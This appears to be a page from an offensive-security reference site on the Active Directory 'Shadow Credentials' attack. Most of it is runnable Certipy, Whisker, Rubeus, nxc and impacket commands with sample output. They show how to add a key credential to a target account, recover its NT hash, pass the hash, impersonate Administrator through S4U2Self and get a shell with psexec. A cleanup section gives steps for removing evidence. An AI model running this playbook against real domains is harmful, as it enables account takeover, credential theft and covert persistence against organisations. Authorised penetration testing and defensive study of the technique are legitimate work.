# Shadow Credentials

> Abuse msDS-KeyCredentialLink attribute to forge certificate-based authentication, enabling stealthy privilege escalation and persistence within Active Directory environments.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/shadow-credentials-exploitation
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-06-11
- **Updated:** 2026-08-11

Shadow Credentials abuses the `msDS-KeyCredentialLink` attribute to add a certificate key credential to a target account. Once added, you authenticate via PKINIT and retrieve the account's NT hash through the PAC (UnPAC-the-Hash). The result is a full NT hash for the target account without ever knowing or changing their password.

Requires write access to `msDS-KeyCredentialLink` on the target: covered by GenericWrite, GenericAll, or an explicit Self/WriteProperty ACE on that attribute. BloodHound marks this as the **AddKeyCredentialLink** edge. Also requires ADCS to be deployed in the domain and PKINIT support on the DC (Windows Server 2016+).

Prerequisites for Shadow Credentials:

- Write access to `msDS-KeyCredentialLink` on the target account
- ADCS deployed in the domain (needed for PKINIT)
- DC running Windows Server 2016 or later
- Target account not already protected by AdminSDHolder (blocks inherited ACEs)

Find targets with [ACL Enumeration](https://hackindex.io/platforms/active-directory/enumeration/active-directory-acl-enumeration) or look for `AddKeyCredentialLink` edges in BloodHound.

## Shadow credential on user account

The `auto` subcommand adds the key credential, authenticates immediately via PKINIT, retrieves the NT hash, and cleans up in one pass.

#### Kali (Certipy)

**Shadow credential: user account (Certipy)**

```bash
# All-in-one: add key credential, authenticate, retrieve NT hash, cleanup
certipy shadow auto -u $USER@$DOMAIN -p $PASSWORD -account $TARGET_USER -dc-ip $TARGET_IP

# Split workflow: add key credential and save .pfx
certipy shadow add -u $USER@$DOMAIN -p $PASSWORD -account $TARGET_USER -dc-ip $TARGET_IP

# Authenticate with saved certificate: outputs NT hash
certipy auth -pfx $TARGET_USER.pfx -dc-ip $TARGET_IP

# Pass-the-Hash with the retrieved NT hash
nxc smb $TARGET_IP -u $TARGET_USER -H $NTHASH
# [*] Generating certificate
# [*] Certificate generated
# [*] Generating Key Credential
# [*] Key Credential generated with DeviceID: a1b2c3d4-...
# [*] Adding Key Credential with device ID 'a1b2c3d4-...' to the Key Credentials for 'jsmith'
# [*] Successfully added Key Credential with device ID 'a1b2c3d4-...' to the Key Credentials for 'jsmith'
# [*] Authenticating as 'jsmith' with the certificate
# [*] Got hash for 'jsmith@corp.local': fc525c9683e8fe067095ba2ddc971889
# [*] Saved certificate and private key to 'jsmith.pfx'
# [*] Removing Key Credential with device ID 'a1b2c3d4-...' from the Key Credentials for 'jsmith'
```

#### Windows (Whisker + Rubeus)

**Shadow credential: user account (Whisker + Rubeus)**

```powershell
# List existing shadow credentials on target
Whisker.exe list /target:$TARGET_USER

# Add shadow credential: outputs base64 certificate and password
Whisker.exe add /target:$TARGET_USER

# Use output from Whisker directly in Rubeus
# Whisker prints the full Rubeus command: copy and run it:
.\Rubeus.exe asktgt /user:$TARGET_USER /certificate:<base64cert> /password:<certpassword> /domain:$DOMAIN /dc:$TARGET_IP /ptt

# UnPAC the hash: retrieve NT hash via certificate
.\Rubeus.exe asktgt /user:$TARGET_USER /certificate:<base64cert> /password:<certpassword> /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /show /nowrap
# [*] Action: Ask TGT
# [*] Using PKINIT with etype rc4_hmac and subject: CN=$TARGET_USER
# [*] Building AS-REQ with PKINIT padata...
# [+] TGT request successful!
#
# [*] Getting credentials using U2U
#   CredentialInfo :
#     CredentialCount : 1
#      [0] NTLM              : fc525c9683e8fe067095ba2ddc971889
```

## Shadow credential on computer account

Writing to `msDS-KeyCredentialLink` on a computer account is the second step of an RBCD chain: if you have GenericWrite on a computer, add a shadow credential to get its NT hash, then use that for S4U2Self impersonation without needing to create a fake machine account.

#### Kali (Certipy)

**Shadow credential: computer account (Certipy)**

```bash
# Computer accounts use $ suffix
certipy shadow auto -u $USER@$DOMAIN -p $PASSWORD -account '$TARGET_COMPUTER$' -dc-ip $TARGET_IP

# Authenticate as computer account: outputs NT hash
certipy auth -pfx '$TARGET_COMPUTER$.pfx' -dc-ip $TARGET_IP

# S4U2Self with computer NT hash: impersonate domain admin to self
impacket-getST -spn 'cifs/$TARGET_COMPUTER.$DOMAIN' -impersonate Administrator -dc-ip $TARGET_IP '$DOMAIN/$TARGET_COMPUTER$' -hashes :$COMPUTER_NTHASH

# Use service ticket
export KRB5CCNAME=Administrator@cifs_$TARGET_COMPUTER.$DOMAIN@$DOMAIN.ccache
impacket-psexec $DOMAIN/Administrator@$TARGET_COMPUTER.$DOMAIN -k -no-pass
# [*] Got hash for '$TARGET_COMPUTER$@corp.local': aabbccddeeff00112233445566778899
```

#### Windows (Whisker + Rubeus)

**Shadow credential: computer account (Windows)**

```powershell
# Add shadow credential to computer
Whisker.exe add /target:'$TARGET_COMPUTER$'

# Get TGT for computer account
.\Rubeus.exe asktgt /user:'$TARGET_COMPUTER$' /certificate:<base64cert> /password:<certpassword> /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /show /nowrap

# S4U2Self: get service ticket as admin to this computer
.\Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:'cifs/$TARGET_COMPUTER.$DOMAIN' /ticket:<base64tgt> /ptt
```

## Cleanup

The `auto` subcommand cleans up automatically. If you used `add` manually, remove the key credential after collecting the hash to avoid leaving evidence.

#### Kali (Certipy)

**Remove shadow credential (Certipy)**

```bash
# List key credentials on target: find the DeviceID to remove
certipy shadow list -u $USER@$DOMAIN -p $PASSWORD -account $TARGET_USER -dc-ip $TARGET_IP

# Remove specific key credential by DeviceID
certipy shadow remove -u $USER@$DOMAIN -p $PASSWORD -account $TARGET_USER -device-id <DeviceID> -dc-ip $TARGET_IP

# Remove all shadow credentials
certipy shadow clear -u $USER@$DOMAIN -p $PASSWORD -account $TARGET_USER -dc-ip $TARGET_IP
```

#### Windows (Whisker)

**Remove shadow credential (Whisker)**

```powershell
# List to get device ID
Whisker.exe list /target:$TARGET_USER

# Remove by device ID
Whisker.exe remove /target:$TARGET_USER /deviceid:<DeviceID>
```

## References

- [Certipy (GitHub)](https://github.com/ly4k/Certipy) - shadow subcommand: auto, add, list, remove, clear
- [Whisker (GitHub)](https://github.com/eladshamir/Whisker) - Windows-side shadow credential manipulation, integrates with Rubeus
- [Rubeus (GitHub)](https://github.com/GhostPack/Rubeus) - asktgt /getcredentials for UnPAC-the-Hash via PKINIT
- [Shadow Credentials: SpecterOps](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) - Original research by Elad Shamir explaining the attack and detection
